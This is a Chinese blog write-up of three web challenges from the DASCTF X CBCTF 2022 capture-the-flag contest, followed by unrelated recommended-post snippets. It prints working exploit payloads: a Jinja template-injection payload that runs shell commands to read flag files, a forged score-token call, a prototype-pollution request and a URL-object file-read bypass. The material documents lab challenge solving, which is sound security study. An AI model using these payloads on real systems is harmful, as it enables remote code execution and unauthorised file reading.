DASCTF X CBCTF 2022

DASCTF X CBCTF 2022九月挑战赛 cyberprinter wp 通过格式化字符串漏洞改写libc中strlen的got表地址为one_gadget 阅读详情

web

dino3d

金典前端小游戏,但是这道题的flag是放在后端的check.php,传入三个参数,socre token 和tm时间戳,首先定位到关键代码

sn(e, t) {
        e && t && fetch("/check.php", {
            method: "POST",
            headers: {
                "Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
            },
            body: "score=" + parseInt(e).toString() + "&checkCode=" + md5(parseInt(e).toString() + t) + "&tm=" + (+new Date).toString().substring(0, 10)
        }).then(e=>e.text()).then(e=>alert(e))
    }

很明显就是一个接口,这里的token生成方式为md5(parseInt(e).toString() + t),t就是salt,并且数固定值

image-20220919005530489

var salt = "_wElc03e";
var checkCode = "DASxCBCTF" + salt;

这里我就直接解出题目的js环境,在控制台里面直接传参了

image-20220919005741159

payload

var s = "DASxCBCTF_wElc03e";
console.log(game.sn(10000000, s));

Text Reverser

简单的ssti,也没啥过滤,就过滤了个命令执行执行的关键词以及{{双花括号,可以直接由{%print()%}代替

下面给出exp

# -*- coding: utf-8 -*-
# @Time : 2022/9/18 12:33
# @Author : pysnow
payload = "{%print(''.__class__.__base__.__subclasses__()[200].__init__.__globals__['__builtins__']['eval'](\"__import__('os').popen('ca'+'t /f*').read()\"))%}"
print(payload[::-1])

image-20220919010041982

cbshop

const fs = require('fs');
const express = require('express');
const session = require('express-session');
const bodyParse = require('body-parser');
const app = express();
const PORT = process.env.PORT || 80;
const SECRET = process.env.SECRET || "cybershop_challenge_secret"

const adminUser = {
    username: "admin",
    password: "😀admin😀",
    money: 9999
};

app.use(bodyParse.urlencoded({extended: false}));
app.use(express.json());
app.use(session({
    secret: SECRET,  
    saveUninitialized: false,  
    resave: false, 
    cookie: { maxAge: 3600 * 1000 }
}));
app.use(express.static("static"));

app.get('/isLogin', function(req, res) {
    if(req.session.username) {
        return res.json({
            code: 2,
            username: req.session.username,
            money: req.session.money
        });
    }else{
        return res.json({code: 0, msg: 'Please login!'});
    }
});


app.post('/login', function(req, res) {
    let username = req.body.username;
    let password = req.body.password;
    if (typeof username !== 'string' || username === '' || typeof password !== 'string' || password === '') {
        return res.json({code: 4, msg: 'illegal username or password!'})
    }

    if(username === adminUser.username && password === adminUser.password.substring(1,6)) {//only admin need password
        req.session.username = username;
        req.session.money = adminUser.money;
        return res.json({
            code: 1,
            username: username,
            money: req.session.money,
            msg: 'admin login success!'
        });
    }
    req.session.username = username;
    req.session.money = 10;
    return res.json({
        code: 1,
        username: username,
        money: req.session.money,
        msg: `${username} login success!`
    });
});

app.post('/changeUsername', function(req, res) {
    if(!req.session.username) {
        return res.json({
            code: 0,
            msg: 'please login!'
        });
    }
    let username = req.body.username;
    if (typeof username !== 'string' || username === '') {
        return res.json({code: 4, msg: 'illegal username!'})
    }
    req.session.username = username;
    return res.json({
        code: 2,
        username: username,
        money: req.session.money,
        msg: 'Username change success'
    });
});

//购买商品的接口
function buyApi(user, product) {
    let order = {};
    if(!order[user.username]) {
        order[user.username] = {};
    }

    Object.assign(order[user.username], product);

    if(product.id === 1) {             //buy fakeFlag
        if(user.money >= 10) {
            user.money -= 10;
            Object.assign(order, { msg:  fs.readFileSync('/fakeFlag').toString() });
        }else{
            Object.assign(order,{ msg: "you don't have enough money!" });
        }
    }else if(product.id === 2) {        //buy flag
        if(user.money >= 11 && user.token) {  //do u have token?
            if(JSON.stringify(product).includes("flag")) {
                Object.assign(order,{ msg: "hint: go to 'readFileSync'!!!!" });
            }else{
                user.money -= 11;
                Object.assign(order,{ msg: fs.readFileSync(product.name).toString() });
            }
        }else {
            Object.assign(order,{ msg: "nononono!" });
        }
    }else {
        Object.assign(order,{ code: 0, msg: "no such product!" });
    }
    Object.assign(order, { username: user.username, code: 3, money: user.money });
    return order;
}

app.post('/buy', function(req, res) {
    if(!req.session.username) {
        return res.json({
            code: 0,
            msg: 'please login!'
        });
    }
    var user = {
        username: req.session.username,
        money: req.session.money
    };
    var order = buyApi(user, req.body);
    req.session.money = user.money;
    res.json(order);
});

app.get('/logout', function(req, res) {
    req.session.destroy();
    return res.json({
        code: 0,
        msg: 'logout success!'
    });
});

app.listen(PORT, () => {console.log(`APP RUN IN ${PORT}`)});
获取admin账号

关键代码

if(username === adminUser.username && password === adminUser.password.substring(1,6))

截取第一位到第6位,首先把题目给的password unicode编码一下

image-20220919010743275

\ud83d\ude00\u0061\u0064\u006d\u0069\u006e\ud83d\ude00,截取后为

\ude00\u0061\u0064\u006d\u0069

image-20220919010809325

登陆成功

原型链污染

image-20220919011032163

如果进入*if*(*user*.money >= 11 && *user*.token)就要,就要凭空出现个token参数,很显然这里是没有,要是没有怎么办,js会向它的原型链上寻找该参数,刚好这里又存在污染点

Object.assign(order[*user*.username], *product*);

直接让username的值为__proto__,合并product到order对象的原型链上

payload如下

image-20220919012838607

image-20220919012919830

成功进入文件读取

URL对象绕过

image-20220919013012460

这里存在一个关键词过滤,过滤了flag关键词,但是可以任意读文件的

image-20220919013114386

这里其实是国外一个比赛的原题(corCTF2022 simplewaf),具体可以移步这篇文章https://pysnow.cn/archives/330/

大概说一下,就是readFileSync这个原生函数其实是可以传入一个URL对象的,URL对象会自动URL解码,这样就可以通过URL编码绕过waf了,具体的源码分析可以去我那篇文章看,最好自己试着跟进一下,还是非常有意思的

下面给出payload

{"token":"",
"name":
{
	"href":"a",
	"origin":"b",
	"pathname":"/fl%61g",
	"protocol":"file:",
	"hostname":""
}
,"id":2}

image-20220919013410668

DASCTF X CBCTF 2022九月挑战赛 找给 check.php 发包的那个部分。可以在开发者工具里全局搜索一下,发现是 sn 这个函数发的包,代码有点乱可以。在 sn 函数中看到了三个参数的设置。先看一下是在哪边调用的 sn ,然后一个一个的跟踪就行了。搜索 checkCode ,checkCode 由一串字符串和 salt 构成,而 tm 是时间戳,score 是分数,最后就可以构造 exp了。 阅读详情

相关推荐

DASCTF X CBCTF 2022九月挑战赛 学习记录

学习记录

m0_64815693的博客 2547

DASCTF X CBCTF 2023

3.用Audacity查看嘘.wav文件,看它的频谱图,得知它的频率为[800,900,1000,1100,1200,1300,1400,1500,1700,1800]以及它的每个频率变化的时间为0.1s,同时可以得知它的采样频率为44100。4.打开zip文件后发现flag被加密,用010去除伪加密,同时可以发现zip数据解析错误,原因在于flag.png的文件名长度8被改成了4,修复即可打开压缩包里的图片得到flag。+V【zkaq222】或者下面的扫码不然通不过哦,免费领取安全学习资料包!

zkaqlaoniao的博客 2676

DASCTF X CBCTF 2022九月挑战赛 bar wp

思路: 1. 通过漏洞改写fd打tcache attack

qq_65147345的博客 393

DASCTF X GFCTF 2024|四月开启第一局 —— re前三题wp

DASCTF X GFCTF 2024|四月开启第一局 re前三题writeup

Air_cat的博客 1709

DASCTF X CBCTF 2022九月挑战赛 appetizer

1. 将rop链布置到end中,泄露出libc地址,通过最后一个read进行栈迁移 2. 在第一个链中输出完之后再执行一个read向end写入第二个rop链 3. 第二个rop链就是常规的open,read,puts了

qq_65147345的博客 556

DASCTF X CBCTF 2022九月挑战赛 reverse landing

胡小楠的刷题日常

weixin_63051469的博客 886

ctf常见的编码

二进制: 二进制是计算技术中广泛采用的一种数制。二进制数据是用0和1两个数码来表示的数。它的基数为2,进位规则是“逢二进一”,借位规则是“借一当二”,由18世纪德国数理哲学大师莱布尼兹发现。当前的计算机系统使用的基本上是二进制系统,数据在计算机中主要是以补码的形式存储的。计算机中的二进制则是一个非常微小的开关,用“开”来表示1,“关”来表示0。 二进制实例:1110111100110–》7654 ...

weixin_44255856的博客 1万+

手把手教你用VS Code + Codex在WSL中高效编程(避坑指南)

本文提供了一份详细的避坑指南,教你如何在WSL环境中高效配置和使用VS Code与OpenAI Codex。文章核心在于解决WSL内Codex扩展的OAuth登录失败问题,推荐将扩展安装在Windows本地,并通过UNC路径直接访问WSL文件系统,从而实现AI辅助编程与Linux开发环境的无缝结合,提升编码效率。

weixin_28677451的博客 1067

DASCTF X CBCTF 2023|无畏者先行 部分PWN

1.GuestBook2.EASYBOX1.GuestBook开了canary,但可以泄漏canary的低1字节为0x00,把他修改为非0x00可泄漏出来(其实在泄漏的时候不用还原canary的最后一字节)有后门,可以通过strcpy函数来覆盖返回地址getshell,在这里输入2给num,循环两次,如果只循环一次是不能溢出的(因为遇到\x00会结束或覆盖到返回地址canary不会)在第一次修改返回地址为后门,在第二次修改canary的低1字节为回车,空格,\t可转为\x00恢复canary(scanf遇到

weixin_51890658的博客 870

从打印攻击到视频重放:手把手用OULU-NPU训练你的第一个活体检测模型

本文详细介绍了如何使用OULU-NPU数据集训练活体检测模型,以应对打印攻击和视频重放等安全威胁。通过PyTorch框架,从环境准备、数据加载、预处理到模型架构设计,手把手教你构建一个高效的双流网络,结合CNN和LSTM技术,提升模型在多种攻击场景下的检测准确率。

weixin_29092031的博客 386

2 利用ITK实现多帧Dicom读取,VTK实现数据显示

vtk中也有dicom读写类,但是只能完成单帧DICOM数据读取,这对于实际应用是非常不利的。而ITK可以实现dicom多帧读取,通常情况ITK与VTK也会结合使用(ITK处理,VTK显示),所以就一起学习下吧!

buerbuhuitou的博客 1564

DASCTF x CBCTF 2022_Crypto复现

easySignin;`keywords:` `设置未知量并让未知量参与运算,构造同余式`;Little RSA ;`keywords:` `构造格子应用LLL算法`;easyRSA,`keywords:` `应用连分数误差估计的维纳攻击`,连分数中存在一个**误差估计**(关于连分数误差估计能应用在维纳攻击中也只是猜测,没有进行验证)

M3ng@L的博客 1495

别让PEX和后仿真拖后腿:Calibre与Virtuoso ADE联调的那些‘坑’与最佳实践

本文深入探讨了Calibre与Virtuoso ADE在PEX寄生参数提取和后仿真联调中的常见问题与解决方案。针对DRC/LVS验证通过后出现的网表导入错误和仿真波形异常,提供了七大典型场景的实战经验,包括PEX提取模式选择、CalibreView生成细节、环境变量配置等关键环节的最佳实践,助力工程师高效完成芯片设计验证。

weixin_33695450的博客 393

CTF BUUOJ [DASCTF X CBCTF 2022九月挑战赛]easySignin Writeup

本文分析了CTF题目"easySignin"的解题思路。题目给出一个Python加密脚本,核心是通过10轮迭代生成多项式方程。解题关键在于:1) 识别代码中的符号歧义(^应视为乘方而非异或);2) 利用逆向推导恢复参数序列;3) 构建关于d的二次多项式并求解方程;4) 根据d是40位素数的条件筛选正确解;5) 最终通过模平方根计算还原flag。通过数学推导和逆向思维,成功破解了该加密系统。

2301_79316465的博客 2249

RT-Thread Studio 使用笔记(七)| 配合STM32CubeMX添加裸机驱动(以ADC为例)

1. 配置STM32CubeMX 2. 复制stm32xxxx_hal_msp.c文件 将 CubeMx 生成的代码 stm32f7xx_hal_msp.c 函数复制到 RT-Thread Studio 生成的工程中,并参与工程编译: 由于我们并没有使用 CubeMx 生成的工程,所以这里需要将 stm32f7xx_hal_msp.c 文件中 #include “main.h” 替换为 #i...

Mculover666的博客(嵌入式) 9627

ABAP Open SQL 数据拷贝导致 SAPSQL_DATA_LOSS:从报错机理到稳妥修复

数据类型与长度不合规。一旦在Open SQL的无损赋值检查里被发现,系统宁可中止也不会偷偷替你截断。把变量声明对齐到字典、在需要时明确表达转换/截断意图、写法上避免落入高危的操作数位置,再配合ATC的预防性检查,既能解决你这次的ST22Dump,也能把同类问题消灭在萌芽状态。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 430

【Web】DASCTF X CBCTF 2022九月挑战赛 题解

再以admin登录,去买flag,发现还是有限制要绕(就是传入的json数据不能包含flag关键字)直接照着打也打不通,高版本模板注入RCE入口的location估计不能是search了。发现其是从url中接参,最后做一些简单的拼接并替换掉正在执行的模板文件。一顿逻辑走下来后发现没有waf,到此我们就可以成功得到恶意的模板文件。经过验证可以进行一个任意文件的读,但不知道flag路径,走不下去。搜索sn,发现传入的参数是score和checkCode。先随便登录一下 ,有10元,但flag要11元。

uuzeray的博客 1468

【GlobalMapper精品教程】072:GlobalmapperV25中文版下载地址及安装教程

GlobalmapperV25中文版下载地址及安装教程安装包位于专栏完整数据包中,请订阅后从优快云私信查收!最新GlobalMapper中文版入门实战实验教程,图文并茂,实用性强,内容包括:GM基础操作、数据处理及地形图制作、航测内业数据处理、点云处理、地形分析、空间分析、数据库建库入库等。配套完整案例数据,持续同步更新!订阅专栏后,从私信查收中文安装包永久版(中文23.0+24.0)及配套实验数据包。

智慧空间实验室 4737

DASCTF X CBCTF 2022九月挑战赛 WriteUp

DASCTF X CBCTF 2022九月挑战赛 WriteUp

Whitebird的博客 1634

Ardupilot飞控姿态角与姿态角速度控制过程分析(超长篇)

目录 目录 摘要 1.代码控制过程分析 摘要 本节主要记录自己学习ardupilot飞控代码的姿态角速度的控制过程 1.代码控制过程分析 可以看出:AC_AttitudeControl *attitude_control; //指针对象 virtual void rate_controller_run() = 0;是AC_AttitudeContro...

陌城烟雨 1万+

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

DASCTF X CBCTF 2022九月挑战赛-Pwn

buf 后面跟着一个libc的地址,可以leak libc 的基址下面跟着一个格式串漏洞,puts里面调用的strlen,改那个got为one_gadget 即可(这个题刚好有一个满足的gadget)栈溢出,但是只能覆盖返回地址,栈迁移做就行UAF 可以改fd (加或减去一个偏移)

qq_34010404的博客 914

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

DASCTF X CBCTF 2022九月挑战赛 Writeup

DASCTF X CBCTF 2022九月挑战赛 Writeup

末初 · mochu7 2485

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

DASCTF X CBCTF 2022九月挑战赛(pwn方向)复现

DASCTF X CBCTF 2022九月挑战赛(pwn方向)复现

FUCKING12的博客 2126

DASCTF X CBCTF 2022九月挑战赛 Text Reverser

那就用脚本或者在线工具讲构造好的payload反序一下。被过滤了就用{%print%}的形式。Fuzz一波,看一下过滤情况。

qq_64201116的博客 795

DASCTF X CBCTF 2022九月挑战赛 REVERSE landing

DASCTF X CBCTF 九月挑战赛 reverse landing

weixin_51890658的博客 589
上一篇: 2022第五空间网络安全大赛
Pysnow
博客等级 码龄5年 44粉丝 25原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值